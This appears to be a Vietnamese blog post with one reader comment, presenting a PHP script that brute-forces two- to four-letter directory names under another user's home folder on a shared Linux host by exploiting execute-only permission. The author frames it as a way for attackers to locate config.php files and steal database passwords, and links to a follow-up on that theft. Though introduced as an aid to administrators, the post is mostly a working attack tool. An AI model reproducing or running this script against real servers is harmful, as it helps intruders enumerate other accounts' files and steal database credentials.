Dò tên thư mục => đánh cắp mật khẩu database

Bài viết này để giúp cho những người quản trị website nhìn ra những lỗ hổng bảo mật chứ không nhằm những mục đích không tốt khác.

Trong Linux quyền được đặt rất chặt. Nếu một thư mục bị xóa quyền r (read) cho các tài khoản other khác thì bạn không thể biết được thư mục đó chứa những thư mục con nào?

Vậy  nếu bạn vẫn muốn biết thì phải làm thế nào?

Suy nghĩ tự nhiên: Thường thì thư mục đó không cho quyền r cho other, nhưng nếu thư mục đó chứa một trang web thì hiển nhiên nó phải có quyền x cho other.

Vậy bạn nhờ vào quyền x và dò tên các thư mục chứa 2, 3, 4 ký tự từ a tới z.

Chương trình PHP sau sẽ giúp bạn làm việc đó trong vòng 1 giây:

Chú ý: Do chương trình truy cập dữ liệu trên đĩa cứng nên tốc độc truy cập rất chậm. Nếu bạn muốn dò tên các thư mục chứa 5 ký tự thì có lẽ phải chờ khá lâu.

Chương trình này giúp phần nào hacker có thể vào để xem mật khẩu của database trong file config.php.

Cách đánh cắp mật khấu của database: https://tosonnguyen.wordpress.com/2013/10/05/thay-doi-quyen-doi-voi-tep-tinthu-muc-duoc-tao-ra-boi-tai-khoan-www-data/

File: .php

<!DOCTYPE html>
<html>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
</head>
<body>

<?php

   echo "<h1>Hiển thị nội dung</h1>";
   echo "<p>";

$n = 0;
$out = array();
for ($ch1=97; $ch1<=97+26-1; $ch1++)
 for ($ch2=97; $ch2<=97+26-1; $ch2++)
   //for ($ch3=97; $ch3<=97+26-1; $ch3++)
    //for ($ch4=97; $ch4<=97+26-1; $ch4++)
    {
           $a1 = chr($ch1);
           $a2 = chr($ch2);
           //$a3 = chr($ch3);
           //$a4 = chr($ch4);


           $s = "$a1$a2";

      	   //$cmd = "ls /home/chuyen/$s";
      	   $cmd = "/home/chuyen/$s";



   	   $out2 = array();

   	   //exec($cmd, $out2);
	
   	   //if (strcmp($out2[0], "") != 0) {
   	   if (is_dir($cmd)) {
                 $out[$n] = $s;
                 $n++;
           }

/*           $out[$n] = $out2[0];
           $n++; */
            
   

    
    }

         
   echo '<table style="border-collapse: collapse;" bordercolorlight="#999999" bordercolordark="#999999" width="90%" border="1" bordercolor="#c8c8c8" height="100%" cellpadding="0" cellspacing="0">';


       echo "<tr>";
       echo '<td align="right">';
       echo "<b>STT</b>   ";
       echo "</td>";
       echo '<td align="right">';
       echo "<b>Ná»™i dung</b>   ";
       echo "</td>";
       echo "</tr>";


   for ($i=0; $i < $n; $i++) {
       echo "<tr>";
       echo '<td align="left">';
       printf($i+1);
       echo ".   ";
       echo "</td>";
       echo '<td align="left">';
       printf($out[$i]);
       echo "   ";
       echo "</td>";    
       echo "</tr>";
   }


$k = $n;

for ($ch1=97; $ch1<=97+26-1; $ch1++)
 for ($ch2=97; $ch2<=97+26-1; $ch2++)
   for ($ch3=97; $ch3<=97+26-1; $ch3++)
    //for ($ch4=97; $ch4<=97+26-1; $ch4++)
    {
           $a1 = chr($ch1);
           $a2 = chr($ch2);
           $a3 = chr($ch3);

           $s = "$a1$a2$a3";

      	   //$cmd = "ls /home/chuyen/$s";
      	   $cmd = "/home/chuyen/$s";

   	   $out2 = array();

   	   //exec($cmd, $out2);
	
   	   //if (strcmp($out2[0], "") != 0) {
   	   if (is_dir($cmd)) {
                 $out[$n] = $s;
                 $n++;
           }

/*           $out[$n] = $out2[0];
           $n++; */
            
   

    
    }

   for ($i=$k; $i < $n; $i++) {
       echo "<tr>";
       echo '<td align="left">';
       printf($i+1);
       echo ".   ";
       echo "</td>";
       echo '<td align="left">';
       printf($out[$i]);
       echo "   ";
       echo "</td>";    
       echo "</tr>";
   }




$k = $n;

for ($ch1=97; $ch1<=97+26-1; $ch1++)
 for ($ch2=97; $ch2<=97+26-1; $ch2++)
   for ($ch3=97; $ch3<=97+26-1; $ch3++)
    for ($ch4=97; $ch4<=97+26-1; $ch4++)
    {
           $a1 = chr($ch1);
           $a2 = chr($ch2);
           $a3 = chr($ch3);
           $a4 = chr($ch4);

           $s = "$a1$a2$a3$a4";

      	   //$cmd = "ls /home/chuyen/$s";
      	   $cmd = "/home/chuyen/$s";

   	   $out2 = array();

   	   //exec($cmd, $out2);
	
   	   //if (strcmp($out2[0], "") != 0) {
   	   if (is_dir($cmd)) {
                 $out[$n] = $s;
                 $n++;
           }

/*           $out[$n] = $out2[0];
           $n++; */
            
   

    
    }

   for ($i=$k; $i < $n; $i++) {
       echo "<tr>";
       echo '<td align="left">';
       printf($i+1);
       echo ".   ";
       echo "</td>";
       echo '<td align="left">';
       printf($out[$i]);
       echo "   ";
       echo "</td>";    
       echo "</tr>";
   }
   echo "</table>";

?>




</body>
</html> 

3 Responses to “Dò tên thư mục => đánh cắp mật khẩu database”

  1. hung anh Says:

    bruteforce à bạn.nhưng mà khó có ai cho mình up php lên lắm.mà như forum tớ để tên là forum_database_hunganh244 thì dò nghỉ chơi luôn rồi.🙂


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: